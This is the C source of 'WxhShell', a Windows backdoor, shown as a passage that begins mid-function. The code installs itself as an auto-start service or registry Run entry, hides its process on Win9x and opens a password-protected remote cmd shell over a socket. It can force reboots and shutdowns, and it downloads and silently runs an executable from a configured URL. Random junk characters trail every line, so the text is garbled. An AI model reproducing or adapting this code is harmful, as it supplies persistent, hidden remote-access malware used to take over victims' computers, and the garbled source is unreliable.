    if(Boot(SHUTDOWN)) mQ@A3/=`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uP-I7l0i1  
    else { b5MCOW1+  
    closesocket(wsh); /Y>$w$S  
    ExitThread(0); !4(X9}a  
    } 4[ 7) $  
    break; K6=i\   
    } <=D\Ckmb  
  // 获取shell 5)rMoYn25  
  case 's': { s5DEuu>g  
    CmdShell(wsh); V4PV@{G  
    closesocket(wsh); P)2.Gx/  
    ExitThread(0); )\bA'LuFy  
    break; 9"=1 O  
  } a&Stdh  
  // 退出 KL8G2"Z  
  case 'x': { l1&NU'WW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;w/|5 ;{A;  
    CloseIt(wsh); NT^m.o~4  
    break; LB1AjNJ  
    } YQ&Ww|xe  
  // 离开 5p.vo"7  
  case 'q': { 6i6m*=h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9Dq^x&z(  
    closesocket(wsh); u]W$' MyY  
    WSACleanup(); vCf{k  
    exit(1); @MS}tZ5  
    break; SpM|b5c5  
        } xb2xl.2x!  
  } KkIxtFM  
  } TJHab;7F  
sUc_)  
  // 提示信息 UC!?.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); < ] ~FX 25  
} [f^:V:) {  
  } yZ_6yJw3}  
}, < dGmkx  
  return; @2Lp I*]C  
} s\)0f_I  
zPonG d1  
// shell模块句柄 3N(5V;ti  
int CmdShell(SOCKET sock) m5wfQ_}}ss  
{ o_.f7|U!  
STARTUPINFO si; Z#O )0ou  
ZeroMemory(&si,sizeof(si)); ; S(KJV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b"lzR[X,e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WRa4g  
PROCESS_INFORMATION ProcessInfo; m44"qp  
char cmdline[]="cmd"; XB8g5AxR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V__|NVoOm  
  return 0; C#^V<:9  
} B1x# 7>K  
N-0kB vo  
// 自身启动模式 (;9-8Y&_d  
int StartFromService(void) Y ]xFe>  
{ Z%Kkh2-uh  
typedef struct _ (U|Kpi  
{ ^V1.Y  
  DWORD ExitStatus; =RA8^wI  
  DWORD PebBaseAddress; D%=VhKq  
  DWORD AffinityMask; B_gzpS]  
  DWORD BasePriority; Lp|7s8?  
  ULONG UniqueProcessId; <|!?V"`3  
  ULONG InheritedFromUniqueProcessId; pk%%}tP<  
}   PROCESS_BASIC_INFORMATION; eHQS\n  
t",=]k  
PROCNTQSIP NtQueryInformationProcess;  iI!MF1  
f,jN"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \jkMnS6FvL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?06+"Z  
SBf8Ipe  
  HANDLE             hProcess; \E(Negt7  
  PROCESS_BASIC_INFORMATION pbi; ` XvuyH  
n=z=%T6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ft<6`C  
  if(NULL == hInst ) return 0; %4=r .9  
U<YP@?w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \aEarIX#*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AHo4% 5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?M}W ;Z  
jkVX>*.|oy  
  if (!NtQueryInformationProcess) return 0; Y<]A 5cm  
w$aiVOjgT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X6T*?t3!9[  
  if(!hProcess) return 0; ^$N}[1   
U,tl)(!@Q-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W Ai91K@  
d)R7#HLZ7  
  CloseHandle(hProcess); CeZ+!-lG  
S'h{["P~ 0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q':P9 o*N?  
if(hProcess==NULL) return 0; =tKb7:KU  
(GeOD V?U  
HMODULE hMod; hxB` hu-  
char procName[255]; wNfWHaH" m  
unsigned long cbNeeded; + a,x  
}akF=/M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aqw;T\GI+~  
 )S8fFV  
  CloseHandle(hProcess); l_ES $%d  
9'My /A0  
if(strstr(procName,"services")) return 1; // 以服务启动 g'%^-S ]  
RT`jWWh*Lo  
  return 0; // 注册表启动 DjMhI_Yu  
} h1(GzL%i_  
|z+K]R8_  
// 主模块 ~+~^c|  
int StartWxhshell(LPSTR lpCmdLine) )B!64'|M  
{ F?!X<N{  
  SOCKET wsl; 1.U9EuI  
BOOL val=TRUE; 1v?|n8  
  int port=0; MYlPG1X=?  
  struct sockaddr_in door; 8fH. E  
2Hp<(  
  if(wscfg.ws_autoins) Install(); A.v'ws+VDP  
Fv )H;1V  
port=atoi(lpCmdLine); s"xiGp9  
#cAX9LV  
if(port<=0) port=wscfg.ws_port; ev LZ<|  
0dKv%X#\  
  WSADATA data; 7`G FtX}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UNC%<=  
ju8DmC5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x\R%hGt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \Wn0,%x2  
  door.sin_family = AF_INET; $Lc-}m9n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }jI=*  
  door.sin_port = htons(port); 4#fgUlV  
}vXf}2C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R#\o*Ta  
closesocket(wsl); k ^:+Pp  
return 1; mC,:.d  
} 2Sha&Z*CE  
&x#3N=c#  
  if(listen(wsl,2) == INVALID_SOCKET) { k0e {c  
closesocket(wsl); P'Gf7sQt7  
return 1; Q2 S!}A  
} ? kBX:(g  
  Wxhshell(wsl); B=;p wX  
  WSACleanup(); 5i eF8F%  
OngUZMgdb  
return 0; ^rX5C2}G\D  
}TDoQ]P  
} C}D\^(nLu.  
VmbfwHRWb  
// 以NT服务方式启动 +p\+ 15  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #$?!P1  
{ vyXL F'L  
DWORD   status = 0; =*\(Y (0  
  DWORD   specificError = 0xfffffff; xfFsW^w  
"~nUwW|=1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d"#& VlKcv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $;Nw_S@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9u^yEqG`  
  serviceStatus.dwWin32ExitCode     = 0; Y *?hA'  
  serviceStatus.dwServiceSpecificExitCode = 0; J^xIfV~ zt  
  serviceStatus.dwCheckPoint       = 0; f.{/PL  
  serviceStatus.dwWaitHint       = 0; &~MM\,KML  
-SeHz.` N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j}F;Bfq!  
  if (hServiceStatusHandle==0) return; '0tNo.8K  
KM&bu='L^  
status = GetLastError(); 8_h:_7e  
  if (status!=NO_ERROR) !gX(Vh*k  
{ Y2&hf6BE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; } >z l  
    serviceStatus.dwCheckPoint       = 0; &f_ua)cyY  
    serviceStatus.dwWaitHint       = 0; 6EY W:o  
    serviceStatus.dwWin32ExitCode     = status; 11Y4oS  
    serviceStatus.dwServiceSpecificExitCode = specificError; s<b(@L 1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9_&N0>OF  
    return; U3rpmml  
  } TMAart; <  
3zsjL=ta  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 032PR;]  
  serviceStatus.dwCheckPoint       = 0; A` )A=L  
  serviceStatus.dwWaitHint       = 0; eZ`x[g%1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $:!L38[7$  
} FS^ie|8{D-  
)>+J`NFa  
// 处理NT服务事件,比如:启动、停止 _Y 8RP%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {u@w^ hZ$  
{ ^>/] Qi  
switch(fdwControl) u[b0MNE~  
{ Hr}pO"%  
case SERVICE_CONTROL_STOP: zLS=>iLD{  
  serviceStatus.dwWin32ExitCode = 0; rpn&.#KS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -D^.I  
  serviceStatus.dwCheckPoint   = 0; rd hM#?  
  serviceStatus.dwWaitHint     = 0; K=Y{iHn  
  { ~H\1dCW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #Ab,h#f*7  
  } C[2LP$6*/  
  return; ,Z aPY  
case SERVICE_CONTROL_PAUSE: ki<4G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; } :9UI  
  break; yTpvKCC  
case SERVICE_CONTROL_CONTINUE: m14OPZ<3?-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %5-   
  break; A"pV 7 y  
case SERVICE_CONTROL_INTERROGATE: LPK[^  
  break; T.B} k`$  
}; v#ERXIrf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I?#B_R#  
} DFN  
EhK~S(r^  
// 标准应用程序主函数  FtmI\,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H;kk:s'  
{ { cMf_qQ  
r]yI5 ;  
// 获取操作系统版本 Rf0F`D k  
OsIsNt=GetOsVer(); }$D{YHF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _ H$^m#h  
y1*z," dx  
  // 从命令行安装 yaWHGre  
  if(strpbrk(lpCmdLine,"iI")) Install(); YM4njkI7  
Q ~>="Yiu  
  // 下载执行文件 QbG`F8dj  
if(wscfg.ws_downexe) { }v$T1Cw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C=!YcJ9  
  WinExec(wscfg.ws_filenam,SW_HIDE); |p"4cG?)  
} M F_VMAq  
O9jpt>:kZ  
if(!OsIsNt) { GJ P\vsaQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 fNNik7  
HideProc();  vgbk {  
StartWxhshell(lpCmdLine); 6,:`esl  
} QoTjKck.  
else >7j(V`i"y  
  if(StartFromService()) ow@1.5WL+  
  // 以服务方式启动 C Y K W4  
  StartServiceCtrlDispatcher(DispatchTable); [ (eO_I5ep  
else 3E`poE  
  // 普通方式启动 |C_sP,W  
  StartWxhshell(lpCmdLine); Tj_~BT  
VSQxlAGk@  
return 0; +~cW0z  
} $kCXp.#k@~  
x39n7+j4  
;VI W/  
I$vM )+v=  
=========================================== FEq R7  
p&<X&D   
v.pj PBU1  
}Pf7YuUZZ  
`|d&ta[{  
?> SH`\  
" o:C],G_  
DX)T}V&mP  
#include <stdio.h> mIUpAOC`"Z  
#include <string.h> &] euL:C  
#include <windows.h> \5=fC9*G  
#include <winsock2.h> -4!i(^w[m/  
#include <winsvc.h> q[T='!Z\  
#include <urlmon.h> `Q~`Eq?@  
y*fU_Il|!  
#pragma comment (lib, "Ws2_32.lib") q"%;),@  
#pragma comment (lib, "urlmon.lib") "i3Q)$"S  
FdVWj 5 $a  
#define MAX_USER   100 // 最大客户端连接数 1> wt  
#define BUF_SOCK   200 // sock buffer r -SQk>Y}  
#define KEY_BUFF   255 // 输入 buffer '@Q aeFm  
oP( Hkp,'  
#define REBOOT     0   // 重启 XkJzt  
#define SHUTDOWN   1   // 关机 qGgqAF#B  
l: X]$2;  
#define DEF_PORT   5000 // 监听端口 u%`4;|tI  
8E9W\@\  
#define REG_LEN     16   // 注册表键长度 2(Ez H  
#define SVC_LEN     80   // NT服务名长度 =|G l  
Mk"V%)1k  
// 从dll定义API 2~BId&]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3cztMi  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?]bZ6|;2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I%q&4L7pj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i'}Z>g5D  
(HZzA7eph  
// wxhshell配置信息 V3]"ROH  
struct WSCFG { C)Ez>~Z  
  int ws_port;         // 监听端口 hc4W|Ofj  
  char ws_passstr[REG_LEN]; // 口令 ND|!U#wMNV  
  int ws_autoins;       // 安装标记, 1=yes 0=no QA3q9,C"  
  char ws_regname[REG_LEN]; // 注册表键名 Z*Qra4GBl]  
  char ws_svcname[REG_LEN]; // 服务名 wt@q+9:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K[( h2&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |Skxa\MI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E?/Bf@a28=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8}0O @ wq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a ykNH>#Po  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m+J3t @$  
8>sToNRNe  
}; BEv>?T 0  
ZxRD+`  
// default Wxhshell configuration Kpo{:a  
struct WSCFG wscfg={DEF_PORT, =os%22*  
    "xuhuanlingzhe", UEvRK?mm=  
    1, J}-,!3qxW  
    "Wxhshell", !a[1rQH  
    "Wxhshell", ]zza/O;31(  
            "WxhShell Service", oKJj?%dHK9  
    "Wrsky Windows CmdShell Service", _e;$Y#`EO  
    "Please Input Your Password: ", z$d/Vz,a  
  1, ,\FJVS;NeJ  
  "http://www.wrsky.com/wxhshell.exe", Y M_\ ZK:  
  "Wxhshell.exe" i-b++R/WN  
    }; 7xOrG],E  
wER>a (  
// 消息定义模块 '14 G0<;yL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 54Baz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xM/B"SG2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 45hjN6   
char *msg_ws_ext="\n\rExit."; cI O7RD$8  
char *msg_ws_end="\n\rQuit."; [7~ !M*o9  
char *msg_ws_boot="\n\rReboot..."; JRm:hf'  
char *msg_ws_poff="\n\rShutdown..."; s9wc ZO  
char *msg_ws_down="\n\rSave to "; @Ee'nP   
tfr*/+F  
char *msg_ws_err="\n\rErr!"; 0r?}LWjf  
char *msg_ws_ok="\n\rOK!"; *\Y \$w  
Qn77ZpL:LJ  
char ExeFile[MAX_PATH]; rmW,#  
int nUser = 0; ;-d }\f ,  
HANDLE handles[MAX_USER]; ^+JpI*,  
int OsIsNt; }/yhwijg  
1r?<1vh:z  
SERVICE_STATUS       serviceStatus; |8$x  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \S)\~>.`y!  
NY'sZTM&  
// 函数声明 TvE M{  
int Install(void); S3[rv  
int Uninstall(void); +oZq~2?*S6  
int DownloadFile(char *sURL, SOCKET wsh); K.Tfu"6  
int Boot(int flag); ;J~NfL  
void HideProc(void); 1Z +3=$P  
int GetOsVer(void); [=Y@Ul  
int Wxhshell(SOCKET wsl); 1}C|Javkn  
void TalkWithClient(void *cs); /3! KfG  
int CmdShell(SOCKET sock); $T\z  
int StartFromService(void); c]>s(/}T  
int StartWxhshell(LPSTR lpCmdLine); :t6 w+h  
5'/Ney9N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); SsDe\"?Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ThX%Uzd"[;  
?v>!wuiP  
// 数据结构和表定义 x.CNDG  
SERVICE_TABLE_ENTRY DispatchTable[] = /HsJyp+t  
{ *7C t#GC  
{wscfg.ws_svcname, NTServiceMain}, +s:!\(BM  
{NULL, NULL} I_('Mr)  
}; k[]B P4  
r=<Oy1m/  
// 自我安装 bu[v[U4  
int Install(void) $ZD1_sJ.  
{ nk,X6o9%  
  char svExeFile[MAX_PATH]; 6.},y<E  
  HKEY key; }&)X4=  
  strcpy(svExeFile,ExeFile); TC80nP   
/vi>@a  
// 如果是win9x系统,修改注册表设为自启动 m]8rljo  
if(!OsIsNt) { 4tR:O#($V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MO+g*N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %nQii? 1`i  
  RegCloseKey(key); c(. 2D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wRn]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {)j3Pn  
  RegCloseKey(key); `H6-g=C  
  return 0; 5-M E Oy(  
    } nc#}-}`5  
  } O(8Px  
} 5:%xuJD  
else { 37DyDzW)'  
5A,@$yp+  
// 如果是NT以上系统,安装为系统服务 W3s>+yU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V?Y;.n&y  
if (schSCManager!=0) "d60IM#N?  
{ hA.?19<Z  
  SC_HANDLE schService = CreateService Vu '3%~  
  ( -y70-K3  
  schSCManager, Z,%^BAJ  
  wscfg.ws_svcname, 6]yYiz2Xn  
  wscfg.ws_svcdisp, l2"{uCcA  
  SERVICE_ALL_ACCESS, +jePp_3$O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oa(R,{_*q  
  SERVICE_AUTO_START, nqNL[w6{  
  SERVICE_ERROR_NORMAL, *HFRG)[V  
  svExeFile, q~68)D(  
  NULL, CM+Nm(|\,  
  NULL, o(GXv3L  
  NULL, DT`TA#O  
  NULL, LeDty_  
  NULL ezn%*X y,  
  ); ]z EatY  
  if (schService!=0) 1*\JqCR  
  { XdX1GH*C  
  CloseServiceHandle(schService); z^z_!@7v   
  CloseServiceHandle(schSCManager); 0|kkwZVPn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E|OB9BOS  
  strcat(svExeFile,wscfg.ws_svcname); 6? I,sZW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sdF;H[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T8( \:v  
  RegCloseKey(key); YqhZndktX  
  return 0; R57>z`;  
    } @>n7  
  } kR2kV"-l  
  CloseServiceHandle(schSCManager); DPCB=2E  
} D#}t)$"  
} n qSjP5  
2Wwzcvs@  
return 1; @v^;,cu'8  
} fgrflW$  
wVU.j$+_#  
// 自我卸载 xj8 yQ Y1  
int Uninstall(void) EXDZehLD<]  
{ .)L%ANf  
  HKEY key; \c1u$'|v  
5VD(fW[OW]  
if(!OsIsNt) { cPD&xVwq>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IE7%u 92  
  RegDeleteValue(key,wscfg.ws_regname); }71a3EUK  
  RegCloseKey(key); 5}S~8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >yk@t&j,  
  RegDeleteValue(key,wscfg.ws_regname); w<=?%+n  
  RegCloseKey(key); -]$q8 Q(hM  
  return 0; G?`{OW3:_  
  }  -D*,*L  
} 8S*3W3HY  
} 4&b*|"Iw  
else { kr ,&aP<,  
.S ZZT0Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E,u/^V9x  
if (schSCManager!=0) H_w&_h&  
{ 6Ih8~Hu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g{|F<2rd[m  
  if (schService!=0) \4$V ;C/n,  
  { +i"^"/2f{  
  if(DeleteService(schService)!=0) { .g/PWEr\I  
  CloseServiceHandle(schService); SI_u0j4%*  
  CloseServiceHandle(schSCManager); uG-t)pej  
  return 0; vmEbk/Vy  
  } ykAZP[^'  
  CloseServiceHandle(schService); F|mppY'<J  
  } Y:f"Zx  
  CloseServiceHandle(schSCManager); xF4S  
} VcI'+IoR?  
} ^j~CYzmt  
=CBY_  
return 1; B^|^hZZ>  
} vndD#/lXq  
CMu/n]?c  
// 从指定url下载文件 ckDWY<@v  
int DownloadFile(char *sURL, SOCKET wsh) t`F<lOKj  
{ >|j8j:S[  
  HRESULT hr; t UOqF  
char seps[]= "/"; w3hG\2)[HS  
char *token; eKpWFP 0  
char *file; ^@91BY  
char myURL[MAX_PATH]; Hs9; &C  
char myFILE[MAX_PATH]; $TU:iv1Fm  
Dx1f< A1  
strcpy(myURL,sURL); =74yhPAW  
  token=strtok(myURL,seps); V LXU  
  while(token!=NULL) {3)^$F=T  
  { !H)Cua)  
    file=token; ]2zzY::Sd=  
  token=strtok(NULL,seps); h7?uM^p  
  } p.%lE! v  
"W71#n+ [  
GetCurrentDirectory(MAX_PATH,myFILE); _;z IH5 H  
strcat(myFILE, "\\"); yj<j>JtN  
strcat(myFILE, file); mFk6a{+YX  
  send(wsh,myFILE,strlen(myFILE),0); "UM*(&  
send(wsh,"...",3,0); YRU1^=v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %"yy8~|  
  if(hr==S_OK) :t)<$dtf[  
return 0; ]h3{M Tr/  
else 3'*}ZDC  
return 1; $M:Ru@Du2  
%[l#S*)~  
} OYYk[r  
Zqi;by%  
// 系统电源模块 K^6fg,&  
int Boot(int flag) r &.gOC  
{ $bo,m2)  
  HANDLE hToken; \I-bZ|^  
  TOKEN_PRIVILEGES tkp; n0 q$/Y.  
PR+L6DT_  
  if(OsIsNt) { zWA~0l.2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l|jb}9(J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i3dV2^O  
    tkp.PrivilegeCount = 1; cXDG(.!n7B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]y kMh  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =w,cdU*  
if(flag==REBOOT) { KtMD?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V#Pz `D  
  return 0; (_ TKDx_  
} RCC~#bb  
else { bnZ`Wc*5b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b<E0|VW  
  return 0; 9JtPP  
} h\<;N*Xi  
  } IKs2.sj"o  
  else { yt 5'2!jc  
if(flag==REBOOT) { e$Npo<u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vyhxS.[9  
  return 0; 9{- Sa  
} 6\5"36&/rQ  
else { $`'%1;y@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ld4Jp`Zg  
  return 0; b%_[\((  
} +Rq7m]  
} hsJS(qEh.'  
~IQ2;A  
return 1; IEj=pI   
} C< B1zgX  
|M$ESj4@  
// win9x进程隐藏模块 w+Oo-AGNH  
void HideProc(void) {8im{]8_  
{ J_@`:l0,z  
;p8,=w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y'9<fSn5&  
  if ( hKernel != NULL ) (i)Ed9~F"  
  { L=v"5)m2R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WoSJp5By$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iS#m{1m$$  
    FreeLibrary(hKernel); {0J (=\u  
  } \!J9|  
] RLEyDB  
return; _[p@V_my  
} >sZ207*  
.NX>d@ Kc  
// 获取操作系统版本 'kE^oX_  
int GetOsVer(void) ~'u %66  
{ 6i=Nk"d  
  OSVERSIONINFO winfo; /OsTZ"*.2/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  1k39KO@  
  GetVersionEx(&winfo); Z.{r%W{2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,]cb3nP   
  return 1; |$QL>{81  
  else r4wnfy  
  return 0; _VFL}<i  
} Z#_+yw  
(cpaMn@)g  
// 客户端句柄模块 =7P(T`j  
int Wxhshell(SOCKET wsl) # fkOm Y7X  
{ eT ZQ[qMp  
  SOCKET wsh; lKA2~o  
  struct sockaddr_in client; $@}\T  
  DWORD myID; ZnXq+^ Z4  
]>"q>XgnI  
  while(nUser<MAX_USER) KX$Q`lM   
{ 'X]m y  
  int nSize=sizeof(client); nd xijqw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mj^]e/s%  
  if(wsh==INVALID_SOCKET) return 1; W:XN!  
}29Cm$p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +`$[h2Z=:  
if(handles[nUser]==0) )WR*8659e  
  closesocket(wsh); [R9!Tz  
else \[5mBuk  
  nUser++; ,Y_[+  
  } ypA)G/;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (g 9G!I   
/&Vgo ~.J  
  return 0; `ek On@T0  
} u*C"d1v=  
`<x|< ey  
// 关闭 socket ab-MEN`5  
void CloseIt(SOCKET wsh) sXmo.{Ayb  
{ y |0I3n]e  
closesocket(wsh); D-!#TN`Y  
nUser--; BH$+{rZ8t  
ExitThread(0); %\n&iRwDF  
} GP._C=]?c  
g"&e*fF  
// 客户端请求句柄  ~hxo_&  
void TalkWithClient(void *cs) r1!]<=&\  
{ GP,xGZZ  
eVx &S a  
  SOCKET wsh=(SOCKET)cs; #Ies yNKZ  
  char pwd[SVC_LEN]; 9e xHR&>{  
  char cmd[KEY_BUFF]; i@|.1dWh  
char chr[1]; xgQ]#{ tG  
int i,j; G*$a81dAX  
VtJy0OGcRP  
  while (nUser < MAX_USER) { T.j&UEsd  
g0~3;y  
if(wscfg.ws_passstr) { }^/;8cfLY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -a(\(^NW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z<t(h=?  
  //ZeroMemory(pwd,KEY_BUFF); fqgm`4>  
      i=0; 6opu bI<  
  while(i<SVC_LEN) { <0hJo=6a8  
uY5Gn.Y  
  // 设置超时 S.kFs{;1x  
  fd_set FdRead; d PfD Pb  
  struct timeval TimeOut; _-.~>C  
  FD_ZERO(&FdRead); *;I F^u1  
  FD_SET(wsh,&FdRead); >RMp`HxDf  
  TimeOut.tv_sec=8; r31H Zx1^  
  TimeOut.tv_usec=0; /Dn  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \jcEEIEi  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b2vc  
>X(,(mKi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RZ:i60  
  pwd=chr[0]; d{LQr}_o$$  
  if(chr[0]==0xd || chr[0]==0xa) { rH<iUiA?O  
  pwd=0; $CY B&|d  
  break; 8(Y=MW;g  
  } [@_zsz,`L  
  i++; 7:_\t!]  
    } |NiW r1&i0  
G?OwhX  
  // 如果是非法用户,关闭 socket 9u\&kQxqD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BkTGH.4G%  
} tt7l%olw  
fDa$TbhjI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .C2.j[>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \I4*|6kA  
;_^ "}  
while(1) { (n~ e2tZ/  
7 i |_PP_  
  ZeroMemory(cmd,KEY_BUFF); ;7]Q'N  
XU}sbbwu  
      // 自动支持客户端 telnet标准   {=NHidi~  
  j=0; ,6%{9oW9Z:  
  while(j<KEY_BUFF) { X|WAUp?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y&.[Nt '+  
  cmd[j]=chr[0]; z Dk^^'  
  if(chr[0]==0xa || chr[0]==0xd) { v$`AN4)}  
  cmd[j]=0; W,^(FR.  
  break; uW,L<;HnQ  
  } >Tm|}\qEb  
  j++; zJfoU*G/B  
    } 62Ab4!  
~!,Q<?  
  // 下载文件 |x AwiF_  
  if(strstr(cmd,"http://")) { fDdTs@)6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f(O`t}Ed  
  if(DownloadFile(cmd,wsh)) "5-S:+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hOX$|0i  
  else 1MV\ ^l_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [Q/')5b  
  }  +McKyEa  
  else { \Mv8pU  
